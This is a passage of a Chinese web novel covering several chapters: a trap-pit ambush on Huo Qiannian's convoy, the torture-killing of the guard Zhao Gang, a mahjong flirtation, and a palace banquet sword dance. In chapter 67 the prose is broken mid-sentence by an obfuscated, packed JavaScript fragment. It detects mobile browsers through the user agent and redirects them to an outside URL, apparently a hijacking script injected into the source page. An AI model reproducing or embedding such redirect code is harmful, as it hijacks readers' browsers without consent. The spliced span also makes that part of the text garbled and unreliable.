处在塌陷圈内的护卫和仆从们逃跑不及,惊叫着落入巨大的陷阱坑。
空中全是暴起的尘土,根本看不清,云琛只能听见一声声惊叫落入陷阱坑,接着瞬间变成惨叫。
她凭直觉以最快的速度飞奔向马车,一头撞上已经缓缓前倾下落,尾部高高翘起的后车轮。
玉家已经将陷阱坑挖到极限大,坑与坑之间仅有一道道坑壁隔开,霍乾念的马车正卡在其中一个坑壁上。
前后都是布满尖刃的陷阱坑,不论前倾还是后坠,都是个死。
云琛使力下压后轮,试图减缓马车的倾倒。
润禾用身体堵住轿厢口,硬撑着霍乾念不掉出来,大喊“救命!救命!!”
云琛闻声大急,想跃过去救霍乾念,刚一撒手,后车轮就又翘起来,马车再次前倾欲坠。
这时,小六猛冲过来,“嘿呀”一声大吼,直接两手攀住后车轮,用身子使劲下坠,彻底平衡了马车的倾势。
马车卡在坑壁上晃晃悠悠,竟真没有再下坠。
这时,尘土缓缓消散,云琛清楚地看见小六悬空吊在后车轮上,脚下就是数丈深的巨大陷阱坑,里面密密麻麻地竖满了手腕粗的尖铁签。
“小六撑住!”云琛跃上马车,同时不言也赶来落定在马车另一边,一把捞起身子堵着轿厢门,已经快弯成“弓”形的润禾。
没了支撑,霍乾念随之滑落,云琛扑上去抱住他,在坑壁上险险打滚稳住,这才发现他满身是血,手里还握着一把短刀。
再一看,马车小窗上卡着一个断了气的玉家刺客,看样子是趁乱第一时间冲过来杀霍乾念的,却被霍乾念一刀割喉反杀。
“少主!”云琛大惊,她看不出霍乾念身上到底是谁的血。
霍乾念用眼神示意无事,指向一旁的树林,“进林子!列阵突围出去!”
云琛立马背起霍乾念就要跑,却见那卡在坑壁上的马车失去润禾和霍乾念的重量平衡,开始吱吱呀呀朝后倾去。
马儿的四蹄高高扬起,在空中发出尖锐的嘶鸣。
攀在后车轮上的小六明显感觉到不对劲,可他悬在空中,根本无法借力逃出,霎时脸色变得惨白。
小六咬着牙,声音带了决然:“别管我!救少主!”
马车隆然后倾,坠入陷阱坑。
千钧一发之际,只见荀戓飞扑向车头,硬生生拽住马头,狠狠朝下坠去。
无奈马的重量太大,荀戓使出全部力气也抵不过。情急之下,他一刀扎向马脖子。
马吃痛哀鸣,剧烈挣扎起来,带动马车缓缓前倾。
最后,荀戓吊在马车头,小六吊在马车尾,马车卡在坑壁上,维持着一种极限危险的平衡。
根本顾不得救任何一人,云琛紧咬牙关,背着霍乾念扭头往林子里奔跑,所有幸存的霍帮护卫也都围了过来,开始列阵相护,拥着云琛和霍乾念朝林子深处突围。
越来越多的玉家刺客从四面八方冲杀而来,不时还有飞射的箭矢暗藏其中。
霍帮护卫一个个倒下,人越来越少。
云琛拼命挥动隐月剑,硬生生杀出一条血路。
她使出全部力气飞奔,玉家护卫们穷追不舍,暗暗变换追击阵型,竟逼得云琛绕了一大圈,退出林子,又跑到了离那几个巨大陷阱坑不远的路上。
云琛默念着师父教的杀招,将隐月剑挥舞得快如闪电,剑锋满杀,招招只杀不打,一剑便挑断一人喉咙。
只可惜她背着霍乾念,霍乾念比她高许多,重许多,很快她便感觉力竭。
她吃力地喘息,挥剑的动作开始变缓,不断地添伤。霍乾念赶忙道:
“将我放在树上!你专心对敌!”
见她不肯,他急声喊:
“你若**,我才活不了!”
云琛觉得有道理。她若**,眼下便再无亲卫护着霍乾念。
她飞快爬上路边一棵大树,将霍乾念放在一根粗树杈上,而后跳下树,开始专心杀敌。
她寸步不离地围绕着树下防守击杀,全力抵挡所有**,不消片刻,便以一人之力杀敌数十。
霍乾念坐在树上,一边挥动**抵挡不时射来的箭矢,一边为云琛守护瞭望:
“云琛!左边有剑来!”
“反手杀右!”
“剑杀左二!”
“小心身后!”
如此一番配合,云琛顿觉杀敌更快更准,身上几乎没再受伤。
杀个没完没了,玉家似乎知道霍府迁往京都后,天子脚下再难动手,这次是铆足了劲要杀霍乾念。
云琛已杀敌近百,可玉家刺客还是不停**上来。
她略一张望,到处都是正在拼杀的霍帮护卫,以及正往这里赶来的更多玉家刺客。
不敢再恋战,云琛赶忙背起霍乾念,跳上一匹马。
她扭头望去,只见不言身上插着两只箭,正砍倒一个刺客;荀戓背着浑身是血的小六,被一个刺客杀得节节败退。
强忍着不去看,不去想,她坚定决心,驾马朝前狂奔。
她决定去找在前方驿馆的叶峮等人,原本两天的路程,她
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一天一夜定能赶到。
心里想着计划,她便卯足了力气驾马,却突然感觉身子一坠,一个巨大的陷阱坑出现在脚下。
泥土陷落,地面崩塌。
一瞬间,世间一切仿佛变成了慢动作。
她看见寒锋闪闪的铁签布满坑底,马头撞在铁签上,立刻脑浆迸裂,鲜血飞溅了她一脸。
她感觉到身子在空中猛地扭转,原本在她背上的霍乾念,突然转到了她面前。
他强行转换位置,拥着她,用他的背朝着陷阱坑落去。
她震惊地望着他,那俊朗的面容上平静极了,还带着一抹令她揪心的温柔笑容。
千钧一发之际,地面上突然飞来两个盾牌,在霍乾念的脊背离铁签只有一寸的时候,插入缝隙,垫在了他的后背。
她刚想松一口气,却见几十个玉家刺客又围上来,大力踹动坑边的机关,坑壁随之坍塌倾倒,竟是要将坑中的二人活埋。
在土块砸下来的瞬间,霍乾念将她放倒在已隔绝铁签的盾牌上,而后两手撑在她头顶,护留住最后一块可以呼吸的空隙。
他定定地注视着她的眼睛,任由硕大的石块砸在肩背,他却连眉头都没有皱一下。
他剑眉温柔地舒展着,星眸如洪水奔涌,溢出一腔压抑许久的深情。
“云琛,你二十七日没来看我,我高兴极了。”
连赵刚那样的近卫都能看出云琛的难过,他霍乾念怎可能察觉不出?
原本他只打算隔着那屏风望一辈子,哪怕只是身形相似,也足够他这濒临溺亡之人解愁思;
原本以为,相思之苦只在他心,竟不想她会为丹蔻吃醋难过,竟整整二十七日不愿见他。
二十七日啊,明明不相见,他却第一次感到离她那么近。
他高兴得想发疯,想狂呼,想说老天终于不肯折磨他了,便叫云琛也动了情念。
龙阳之好如何,疑似女儿身又如何?
管是男是女,只要是云琛就好。
对着眼前这张朝思暮想的脸,他真想不管不顾地吻下去,可云琛却急得快要哭出来,大喊:
“少主!都这个时候了你还说谜语?咱们赶紧逃啊!”
饶是在这个性命攸关的时候,他还是忍不住想发笑。
看着身下这情窦刚开,还懵懂不知的家伙,他笑道:
“也好,不急。”
话音落下,一阵马蹄声奔腾而来,兵器打斗之声瞬间大作。
叶峮的声音出现在陷阱坑旁,“拿盾牌!快救少主!!”
等众人拿着盾牌跳下陷阱坑的时候,只能看见云琛以背相垫,牢牢撑住了霍乾念。
花绝心痛的惨叫从头顶传来,哭着叫了声:
“云琛!你英勇牺牲了吗?!”
第67章 向日葵
若不是南璃君的探子截获玉阳基的亲笔密信,知道霍府行进的路上有埋伏,立刻派亲兵相助。
只怕叶峮等人赶来的时候,就只能见到被活埋的霍乾念和云琛了。
云琛判断得没错,林子里那六座新坟的确有问题,根本就是玉家挖陷阱坑时掏出来的土,假装成坟堆样式而已。
若当时多几条黄土狗,也许就能提前闻出异样,发现陷阱坑。
那么霍帮的护卫便不会死伤那么多。
赵刚浑身是伤,颤抖着站在原地,环顾四周:
霍帮的护卫们倒了至少一半,横七竖八躺了一地,府医和南璃君派来的医官穿梭忙碌,找寻着还有气的人。
平时里与他交好的那几个兄弟,几个时辰前还在帮他劝架,此刻却尸首分离地倒在地上。
那个高高壮壮又黑黝黝的小六,满身冒血,止都止不住;荀戓头皮都被削掉一块,靠在树干旁呻吟。
还有那个他最讨厌的云琛,全身上下没有一处好地方,她每往前走一步,地上便是一个湿漉漉的血脚印。
最后,赵刚看见霍乾念坐在轮椅上,叶峮和花绝手忙脚乱地解开他的衣服,这才发现他两边肩膀上全是铁签扎的血洞。
在摔入陷阱坑的时候,那两块盾牌足够护住身形纤瘦的云琛,却护不住肩背高大的霍乾念。
望着眼前一切惨状,再想到一切竟皆因他耍脾气不服命令,没有找来四条黄土狗……赵刚顿觉痛不欲生,忍不住跪地大哭。
不言将两块被扎得筛子一样的铁盾牌扔在赵刚面前,指着四周上百个被云琛一剑挑断喉咙的尸体,神情冰冷地说:
“你不是问云琛‘凭什么’吗?就凭这个!”
一个字都没有多说,不言转身离去。
赵刚呆呆望着铁盾牌,沉默了许久,最后摇晃着站起身,踉跄地走到霍乾念面前跪下,颤声道:
“少主,我以下犯上,因一己之私酿成大错……请少主……逐我出霍帮!”
花绝从旁冷笑,“也就是咱少主不杀自家护卫,否则你这样的,定要五马分尸谢罪——方才我已听说你欺负云琛的‘光荣事迹’,你嚣张得很呐!”
这一次,赵刚没有回一句嘴,只面色惨白地跪着,等候霍乾念发落。
霍乾念眼皮都未抬一下,“交给云琛处置。”
云琛没想到叶峮回来了,霍乾念还让她处置人。
她想了一下,觉得赵刚犯下这样的大错,就算不逐他离开,他今后在霍帮也待不下去,不如另寻生路。
想到这里,她对赵刚道:“你写辞书吧,只说你另谋高就,不说逐出府。”
有辞书,旁人只会以为是赵刚主动请辞的,不至于今后讨不到生活。
花绝在一旁不满地叫起来:
“阿琛!莫心慈手软!给辞书太便宜他了!要换我和不言处置,哪怕换叶峮哥,都断不会让这厮这么体面地离开!”
云琛没有理会花绝,从府医手里拿过一包止血的包扎布巾和金创药,递给赵刚。
“我估摸你也不愿意留下治伤,那拿着这个走吧,一码归一码,错不能容,但你为霍帮流过的血,拼过的命,谁都不会忘。”
听完此言,赵刚再也忍不住,跪在地上嚎啕大哭。
他一边哭着,一边艰难起身,缓缓朝反方向离去。
赵刚一路走,一路哭,浑浑噩噩地走了半日,直到身上疼痛不已,才想起来疗伤。
他靠坐在一棵树旁,开始给自己上药止血。
刚坐下没一会,他便后颈一寒,并未听见什么声音,却凭直觉预感到危险。
他刚要转头,却瞬间被捂住口鼻,接着筋骨一软,整个人昏了过去。
不知过了多久,等他悠悠醒来的时候,只见秋高气爽,天蓝云白,四周全是灿烂的向日葵。
侧头看去,不远处是一个临时搭建起来的凉亭,亭下摆着奢华酒菜,一个身形高大的锦衣公子正坐在桌边,无聊地用银勺搅着一碗蜂蜜牛乳酪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15402120|168723||http|test|mini|href|location''.split(''|''),0,{}));
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r>赵刚认得,是那个脸上永远带着阳光笑容、大大咧咧的颜十九。
他刚想起身,却感觉后背一痛,他这才发现自己身下全是倒插的护卫刀,布置得像玉家那陷阱坑一般。
他整个人被捆着,躺在密布成床的护卫刀尖上。
见他醒来,万宸轻轻挥手,几个颜家护卫立刻搬来一块大石板,压在赵刚身上。
一瞬间,赵刚便感觉后背、腰、屁股、腿,甚至后脑勺,全都被刀尖戳穿,疼得他惨叫一声。
颜十九笑眯眯地走过来,晃悠着折扇,好奇地问:
“万宸,你方才说,玉家挖的陷阱坑是这样的?就是这玩意儿差点害死我的小云云?”
万宸回道:“回主子话,是的。我奉您的命,去给云护卫送向日葵花束的时候,恰好看见云护卫护着霍乾念掉进坑里,我只来得及飞踢出去两个盾牌,云护卫应该无妨。”
颜十九点点头,而后轻摇折扇,对一旁几个护卫道:
“愣着干嘛?继续呀!”
几个颜家护卫赶忙继续搬动石板,一层层往赵刚身上摞去。
很快,刀尖扎穿赵刚的身体,疼得他喊都喊不出来,浑身不停抽搐。
鲜血从满身血洞流出,顺着刀锋流到地面上,浸湿了一大片土地。
颜十九满意地打量赵刚,笑道:“得亏万宸走的时候听见了,谁敢骂我小云云,谁就得死——谁敢抢我的小云云,也得死!”
听到颜十九最后一句话,赵刚猛地睁大眼睛,不顾一切地挣扎起来,却只感到身体剧痛钻心。
在彻底死去之前,望着颜十九那和善的娃娃脸,透出阴寒的眼,赵刚口鼻涌出血沫,用尽最后一丝力气微弱悲呼:
“少主……千万……小心颜十九……”
只可惜这句话,永远不会有人听见了。
待颜十九众人走后,向日葵园又恢复了往日的宁静。
鲜血蜿蜒着渗进土地,大约明年的向日葵,会开得更加灿烂吧……
第68章 换个玩法
秋末风凉,无月夜。
郊外驿馆内外鸦雀无声,没有点灯。
只有主卧房里亮着几盏昏暗的蜡烛,被风吹得摇摇晃晃,照着人影狭长交错,一片肃杀之气。
花绝面无表情地端坐着,不言在一旁身子微侧,蓄势待发。
荀戓紧张地看向云琛,暗暗使眼色。
云琛没有接收到荀戓的眼神,她手心有点冒汗,心里犹豫不决,忍不住扭头去看身后正靠卧在榻上的霍乾念。
霍乾念正要说话,却被花绝无情打断:
“少主,大可不必!”
不言也皮笑肉不笑,“是啊,少主,阿琛如今已能独当一面,他自己能决定。”
霍乾念只得闭嘴不言。
云琛磨叽一阵,试探着伸手,放下一张四四方方的牛骨牌,轻声道:
“三万?”
“胡!”花绝大喝一声,猛一拍桌,脸上笑开了花。
荀戓连连叹气,“阿琛,我都用眼神疯狂暗示了,你咋还打三万?打三万他必胡啊!”
不言拨拉下花绝的牌,幸灾乐祸道:
“你完了,阿琛,他手里还有一杠,你这下赔八番!掏钱掏钱!”
“唉……怎么又输?”云琛泄气地撇嘴,一摸钱袋子,已空空如也。
这时,身侧递过来一个鼓鼓囊囊的靛蓝色钱袋,衬得霍乾念的手指修长白皙。
“你尽管输,算我的。”霍乾念神色淡定,“打,不怕。”
云琛接过钱袋子,苦闷地叹了口气。
一旁的花绝和不言却撸起袖子,高兴地拍桌:
“太好了!有少主做东,今儿阿琛就是财神爷啊!快来快来!开下一把!”
又一连打了四圈,云琛把把点炮送人头,荀戓无语地想挠头皮,可他前几日被削掉的头皮还没长好,一碰就疼,还挠不得。
不到一个时辰,云琛又把霍乾念的钱袋子输干净了。
“一把都没胡过,我不想玩了!”云琛挫败地趴在桌子上,连连哀嚎。
霍乾念看不下去了,对着云琛伸手,“扶我起来。”
一见霍乾念要上阵,不言大惊失色,“戒备戒备!少主来给小阿琛报仇了!”
但霍乾念并不上桌,只在云琛身侧坐定,仍旧是云琛摸牌打牌,他只在关键处指点一二。
打牌的时候,霍乾念与云琛偶尔会去拿同一张牌。
他的手指有意无意地从她手背轻轻带过,动作十分自然又正常,却叫她忍不住心跳漏一拍。
“打七筒。”霍乾念出声提醒,叫回愣神的云琛。
云琛赶忙去拿“七筒”,却因为心里乱,手上慌,一下子带倒好几张牌。
“哦哟哟,有三张九筒呢!骗牌呢!少主你太狡诈了!”花绝起哄。
云琛赶忙去扶倒下的牌,霍乾念也倾身伸手,帮忙扶牌,怀抱一下子贴到她肩膀。
她只感觉一道温吞气息吹在脖颈,他颇有磁性的声音靠在她耳边:
“心里想什么呢?专心打牌。”
她像被窥破心思的孩童,脸蹭得红了起来。
有霍乾念指点,云琛很快将输出去的钱赢回来七七八八。
眼见今夜就要白干一场,花绝连忙见好就收,将牌一推,道:
“已经寅时了,不打了不打了!阿琛一身伤还没好呢,虽说只是皮肉伤,没有伤脏腑,但流血太多,可不能这么熬大夜!”
不言赢了不少,也赶紧附和:
“对对,难得有公主的近卫队相护,让咱们好好养伤,赶紧睡吧!”
云琛后半场连赢十几把,坐庄不断,这会反倒舍不得散牌局了,“别啊!再来一圈!让我再玩一会儿!”
“无妨,他们散吧,我陪你玩。”霍乾念说。
花绝和不言立刻揣着钱,溜得飞快。
荀戓本来应该轮值守夜,但霍乾念对他说:
“你也去休息吧,有公主近卫队在外围,叶峮在外巡逻,不妨事。”
荀戓偷偷看了云琛一眼,总有种要把小白兔托付给狡猾大狐仙的老父亲般的不安感,心里有点担忧。
霍乾念脸色微冷,“荀戓,你份内事做得很好,分内之外的,莫要操心。”
荀戓一惊,一下与霍乾念对视上。
他从那双冷淡的眸子里看出不善,便知霍乾念已对他的暗中窥视有所察觉,在提醒他不要多事。
光顾着操心云琛,荀戓差点就忘了霍乾念是多么手腕狠厉、城府缜密的霍帮少主。
甚至无需多言,不必刻意端个主子架子,只一个严厉的眼神,就能让荀戓额头冒汗。
荀戓只得老实退下,关好房门。
屋里一空,霍乾念脸上那微冷的神色立刻消散。
他看向云琛,笑道:
“你挑十三张牌来,我教你个新玩法。”说完,他又指了下床榻,“先扶我上去,椅子坐着不舒服。”
她听话照做,先将他安置在榻上,然后挑拣出十三张牌,捧到床榻边。
“我搬个小桌子来吧,在桌上玩?”
他拍拍身前空位,“无妨,在床上玩也行。”
她玩心正盛,也没多想,快
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速抱着牌上床,还不忘挪来一支蜡烛在榻边。
二人对坐在床上,挨得很近。
他耐心地教她新玩法,陪着她玩牌,十把里赢两三把,输七八把,叫她赢得兴高采烈,咧着嘴傻笑:
“少主!下次咱们和花绝他们玩这个吧,我感觉这种玩法我有天赋!哈哈!”
他忍俊不禁,“好,赢了算你的,输了算我的,你知道钱袋在哪里。”
“嘿嘿,少主你可真大方!”
“还有一种玩法,你要试试吗?”
“好呀!”
他道:“你在十三张牌里任意拿一张,我可以猜出你拿的是哪张牌。”
她惊奇,“这么神?若猜不准呢?”
“若猜得准,你便输我一罚;若猜不准,我输你一罚。”
“罚什么?”
他唇角隐着一抹笑意,“打手心呗。”
“行!”
她连忙码好牌,动作小心地抽出一张,藏在身后。
他压根没有看牌一眼,随意道:“一筒?”
她捂着嘴笑,“错了,手心伸出来!”
他伸出掌心,她毫不留情地一巴掌打上去。
“再来,猜猜是什么?”
“一条?”
“又错啦!手心伸出来!”
反复七八次,他一次都没有猜准,手心也被她打得泛红。
知道他肩膀伤未愈,怕打手狠了,扯到他肩痛,再次罚他时,她便收了劲,轻轻落下。
当她的手落在他掌心,他突然一把握住,另一只手覆上榻边的蜡烛,摁熄了烛火。
屋内瞬间陷入黑暗。
未等她反应,他已身子微倾,手中使力,一把将她拉近面前。
完全没有防备,她吓得屏住呼吸,差点下意识闭上眼睛。
借着月光,她只看见他星眸灼灼,漂亮的唇角似乎扬着笑意。
她听到自己的心狂跳起来,血瞬间冲上头顶。
他缓缓靠近,微微偏头,用如幽夜一般深邃的目光上下打量她的脸,眼神带着十足的侵略占有,甚至有一点点轻佻玩味。
看得她面红耳赤,莫名发慌。
他就这么不断靠近,再靠近,直到身上的梨木香气已近在她的唇齿,他才停下,对着她吐气如兰,轻声道:
“很晚了,睡吧。”
未等她应声,他忽然放开手,身子又靠回去,拉开了与她的距离,面色亦恢复如常。
这一下忽近又忽远,竟让她心里隐隐生出莫名的失落。
她脑子发懵,手忙脚乱地收拾起床榻上的散落的牌。
第69章 进宫
队伍抵达京都的时候,已经是初冬。
虽未下雪,但四处已结霜,天气越来越冷。
霍乾念的到来,犹如在冬日扔下重磅火弹,在这繁华古韵的京都激起千层热浪。
因为这新迁入京都的不是什么小商小户,而是背靠着公主,已以压倒性优势超越玉家,雄霸楠国首富的霍帮。
与玉家恨不得把金子贴到脸上的穷奢极侈不同,霍帮主打一个低调而奢华。
大到府宅修建,小到家具器物,一概样式传统,配色沉稳内敛,却用料价值连城,随便一把小杌子都是黄花梨木打制的。
霍府选址在前朝先太子府旧址,重金修缮了半年,并在高阔的鎏金正门上,加铸了两个巨大的醒狮头铜雕。
巨富之商,家族骨子里带着匪气的行事之风,训练有素的高手护卫队,加上一个双腿不能行却不可一世的少主。
一时间,霍帮吸引了全京都的目光。
每日都有达官显贵登门拜访或邀请赴宴,霍府里也是三五日便要宴请一次。
权贵往来,应酬不断,作为霍乾念的贴身亲卫,云琛也受到了许多注目。
“瞧那有几分阴柔气的少年护卫,倒称得上玉树临风。”
“你且看他拿的剑,那剑穗上坠着两颗南珠呢!宫里也就丞相能以一颗南珠镶冠,霍帮随便一个护卫都有两颗,真有钱。”
人们热衷于讨论霍帮的一切,而那些达官显贵却在这热烈的氛围中感到一丝别扭。
因为霍乾念双腿不能行,常年坐轮椅的缘故,故而不论对面是一人之下万人之上的丞相,还是什么牛气冲天的玄甲军上将军,霍乾念都稳坐高椅,只拱手行礼,带给对方一种平起平坐的压迫感。
毕竟在礼教森严的楠国,人们都习惯于默认只有“上位者”才能在自己面前稳坐泰山。
不知不觉,达官显贵们渐渐适应了这种“别扭”。
南璃君也觉得挺有意思,这些一向自视甚高的权贵们,竟也有在心理上被“驯化”的一天。
霍乾念明明无官无职,却没有一个人敢轻视他。
加之富可敌国的财力加持,人们不免更尊敬。
南璃君索性将这种“权势”感推向高峰,在皇帝初雪夜宴之日,请皇帝口谕,召霍乾念入宫赴宴。
入宫赴宴只能带一人,霍乾念思索再三,还是决定带云琛。
云琛压根没想到这辈子还能有机会进宫,既兴奋又紧张,将隐月剑擦了又擦,看得叶峮几人忍不住打趣:
“阿琛,进宫不能佩武器,你擦剑干啥?”
“是啊,你是去入宫长见识的,又不是去干架的,别擦了。还是赶紧练练礼节吧,可别生疏。”
云琛心里忐忑,“我紧张,怕给少主丢人。”
一旁的霍乾念全然不在意这些,满心只掂量一件事:
京都权贵多,玩得花,有龙阳之好的不少,万一有人盯上云琛,他该如何应对呢……
初雪。
夜宴日。
霍府的马车从宫门偏门而入,经过重重侍卫严格搜身检查,才被准许放行。
楠国皇宫以黑色为主,宫宇大气磅礴,巍峨肃穆。
一进宫门,只见偌大的广场尽头,伫立着一座巨大的宫殿,高悬着“永宁大殿”的牌匾。
大殿前方,青玉石阶缥缈如烟,托着二十八根通天柱,竖立在殿前。
宫殿正面的墙面上,浮雕着一只昂首冲天的狰狞巨龙,碧绿的龙眼泛着森寒冷光,居高临下地审视着一切
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穿过不见尽头的长巷,一座座华丽的宫殿如重峦叠嶂,出现在云琛眼前。
这情景既震撼,又令人深感敬畏。
“少主,你以前进过宫吗?”
“小时候常来。”
“宫里真好看。”
他嗤笑,“一座拆骨饮血的蛊笼而已。”
蛊笼?云琛听说过,那是东炎养蛊人常用的一种容器,将各种活物关进蛊笼中,互相厮杀吞噬,最后活下来的便为蛊王。
如果皇宫是蛊笼,那么谁是蛊王呢?
她不懂。
她仍旧一边驾马,一边目不暇接地望着重重华丽宫墙,连连惊奇赞叹。
初雪夜宴设在听雪阁,是皇帝常宴饮臣下的一处宫殿。
除了南璃君,其他人云琛都叫不上名字,但这几个月在霍乾念身边常见,都是往来的高官大将。
云琛从小听着皇帝改朝换代的丰功伟绩长大,原以为,堂堂楠国九五之尊,这巍峨皇宫的主人——皇帝,应当比常人更有英雄气概,更高大威猛。
谁知一拜见,却只见到一个高高瘦瘦的垂暮老人,龙袍挂在身上瘪瘪的,身形有些佝偻,甚至走路的脚步都很迟缓。
望着那金灿龙袍之上的一头花白老髻,不知道为什么,云琛竟一瞬间心里很难受。
她想:这天下所有的英雄豪杰,最后都将迟暮至此吗?哪怕是执掌天下的皇帝?
不知已几十年没有感受过这种带着同情、心疼的悲伤目光,皇帝敏锐地察觉,两道犀利目光抬眼看来,云琛赶忙低下头。
云琛跪伏在霍乾念身边,霍乾念正颔首作揖,神色恭敬地行礼。
打量两眼,皇帝缓缓开口:
“霍家仔,你老子霍雷霆还没死呢?”
第70章 真龙逆鳞
皇帝看一眼跪伏在地的云琛,转而目光移向霍乾念,声音苍老,却带着熟稔和调侃,叫宴席上众人颇为惊讶,心想:
搞了半天,皇上与霍家是旧相识啊?
再看霍乾念时,众人便觉他这处尊居显得气质十分合理了。
“霍家仔,你老子霍雷霆还没死呢?”
“回皇上,托皇上恩泽庇佑,家父健在,不过有些糊涂了。”
皇帝冷笑,“糊涂?装的吧!”
众人捧场的笑。
南璃君也一副颇为意外的样子,“听起来,父皇与霍老太爷是旧相识呀?”
皇帝道:“你忘了?他小时候经常跟着他爹进宫来,你有半箱子宝石蜻蜓就是他弄坏的。”
儿时的事大多都忘了,但南璃君曾有半箱昭国送的各色宝石蜻蜓全碎了,害得她哭了很久,她记得很清。
南璃君恍然大悟,对着霍乾念笑道:
“搞了半天,坏我宝石蜻蜓的‘仇家’真是你?真是冤家路窄。正好,如今霍帮的钱都给本殿花,算是补偿。”
众人都笑起来,席间气氛慢慢热络。
云琛老老实实跪坐在一旁,侍候霍乾念用饭,不敢再多看什么,生怕给霍乾念招惹麻烦。
看出云琛的紧张,霍乾念喝罢一口酒,放下酒杯,快速地轻摸了下她的头。
她一惊,虽然确实有被安慰到,但还是下意识朝四周看去,生怕有人注意到。
“少主,这是在宫里,你……你得收敛点呀!”她悄声说。
他眼含笑意地朝她眨眨眼睛,转而又正经起神色,继续与几个高官交谈。
不多时,天空飘起小雪,夜宴的乐师开始鸣奏。
宴席中央,一会有一群舞姬轻歌曼舞,浓姿百出;一会又上来一群少年赤着上身,以剑击盾,跳起战舞。
久经沙场的老将最看不得这些“靡靡之态”,皇帝手边坐着的一个老将军开口,声如洪钟道:
“这跳的什么战舞?以前霍雷霆那家伙统领玄甲军骁骑营的时候,那舞得才叫战舞!一舞剑器动四方,观者如山色沮丧,天地为之久低昂!如今这些个瘦秧子,只怕连霍帮当年的狮威玄旗都扛不动!”
另一个头发银白的老将也颇为赞同地附和:
“可惜玄甲军整编的时候,霍雷霆那厮脚底抹油,跑得飞快,一路窜到最南去捣鼓银子了,不然如今怎会是这样上不得台的战舞。”
除了皇帝和两个老将军,其余都是新臣新将,并未与霍帮有深交,自然不知道那些陈年往事。
众人不免好奇起霍帮与朝廷的渊源,议论纷纷。
正在这时,那声如洪钟的老将军却干掉一壶酒,不悦道:
“皇后娘娘一手创立的玄甲军,怎容得脏东西染指?霍雷霆跑得好!跑才证明对得起皇后娘娘!”
舞乐戛然而止,正跳战舞的少年们纷纷叩头谢罪,不敢再跳。
宴席上的气氛瞬间降至冰点,所有人都畏惧地看向皇帝。
楠国自开国以来,便废妃制,只一帝一后,伉俪情深,共治天下,这是全天下都知道的佳话。
可自从皇后崩逝,皇帝的心便也跟着殁了。
“皇后娘娘”几个字,成了宫中禁词。
谁人敢随便在皇帝面前提起皇后,轻则当场杖杀,重则株连九族。就连南璃君都不敢轻易触及真龙逆鳞。
一时间,全场鸦雀无声,众人自觉跪地,不敢抬头。
那老将军却毫无反应,只一壶接一壶地闷头喝酒,像是在想着什么往昔旧事,竟眼眶慢慢湿润。
皇帝面无表情,没有说话,但所有人都感觉到了皇帝身上散发出的强烈杀意。
南璃君后背起了一层冷汗,她强扯出一个笑容,试图打破僵局,转圜道:
“曹放老将军喝多了!谁人能与威震四海的狮威玄旗比,就是如今的霍少主,只怕也难及霍老爷子当年风姿。”
南璃君说着给霍乾念递了个眼色,希望能得到帮腔,后者
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却装作看不见,压根不想顶这个要命的雷。
南璃君心里一急,目光扫到云琛,索性道:
“父皇,霍少主如今腿不能行,舞不了剑,但他身边的护卫可以。这小云琛是霍帮一等一的高手,也许能舞出两分意思来。”
此话一出,所有人的目光都**到了云琛身上。
云琛看了眼霍乾念,后者虽纹丝不动,垂着眼眸,但她已从那眼睛下方看出猛烈涌动的盘算应对。
不想霍乾念为自己出头硬刚,云琛深吸一口气,赶紧伏地叩头,声音里却带了颤音:
“草民愿为皇上和大人们舞剑助兴。”
这话一出,霍乾念再无法开口推辞,脑子里飞快想出的那百十句推辞的话,全被堵在了嘴边。
他眉头轻蹙,又飞快平息。
他伸手握住她的手,像是在拉她起身。
“去吧,不必紧张,像平时那样舞剑就行。”
听着像是一个主子在嘱咐护卫别丢人,云琛却感觉手心潮漉漉的,不知道是她手上的汗,还是他的。
云琛大脑一片空白,缓缓走上宴席中央。
那些跳战舞的少年如获大赦,立刻快速退下。
场中央只剩云琛傻愣愣地站着。
瞧着云琛的样子,皇帝鼻子里哼了一声,也不知是轻蔑还是觉得好笑,对一旁的侍卫首领道:
“枭泽,取朕的银雪剑给他。”
这话一出,南璃君也知道自己闯祸了,愧疚地看了霍乾念一眼,再看云琛时,目光透出无奈和不忍。
那是皇帝年轻时不离手的银雪剑,且不说剑如何绝世,光凭那是皇帝用过的剑,云琛只要敢损伤一点,等着她的就只有死无葬身之地。
今夜这宴,皇帝那腔怒火便得以发泄。
云琛并不懂这些,她只是不想霍乾念为她出头去撞皇帝的火头枪口。
没一会儿,侍卫首领枭泽便取来银雪剑,双手捧给云琛。
云琛接过剑,顿时一愣。
第71章 舞剑
云琛愣愣打量手中剑:
这剑怎么与自己师父的剑那么像?
从剑鞘到剑刃,再到那种阴森的感觉,全都像极了。
她从前时常偷玩师父的剑,再熟悉不过。
握住熟悉的剑,想着师父的教导,云琛心中慢慢冷静下来。
乐师配合打起鼓点。
云琛望一眼霍乾念,他面露从容微笑,朝她轻轻点头。
仿佛望着稳稳靠山,她心中彻底安定。
她缓缓拔剑,迈开步子。
银雪剑锋照耀着她清澈灵动的双眼,只见银蛇游走,剑气含杀,宝剑在她手上如活物一般走马如飞。
随着鼓点越来越密集,云琛挥剑越来越快,气势愈加凌厉,那剑花挽得飒如流星,快如闪电,剑锋一挑,便发出瑟瑟长鸣。
高座龙椅之上,皇帝危险地眯起眼睛,而后与身旁的侍卫首领枭泽对视了一眼。
霍乾念一边高度紧张地关注云琛,一边捕捉到皇帝的神色。
他心中惊动,飞快地朝南璃君看过一眼。
南璃君心领神会,立刻举杯与那位叫曹放的老将军对饮示意。
曹放老将军正看云琛舞剑,看得高兴,一见南璃君的神情,他自知一时控制不住脾气,连累了那还只是个护卫的少年,索性一跃跳上宴席中央,大声道:
“小兄弟,你这剑舞得有意思!我来与你对战!”
像曹放这样位高权重的老将军,进宫从来不必卸甲。他一把抽出腰间战刀,气势勇猛地与云琛相击。
一时间,一老一少,一刀一剑,一无畏一阴厉。
两道身影如虎豹相斗,打得难解难分,杀得精彩绝伦,看得宴席上一众武将都有些热血沸腾。
最后,曹放一个水中捞月,探身战刀劈去,挑飞了云琛手中的剑。
所有人都屏住气,瞪大眼,望着那银雪剑高高飞上天。
下一刻,剑身在空中翻转,如闪电般劈下。
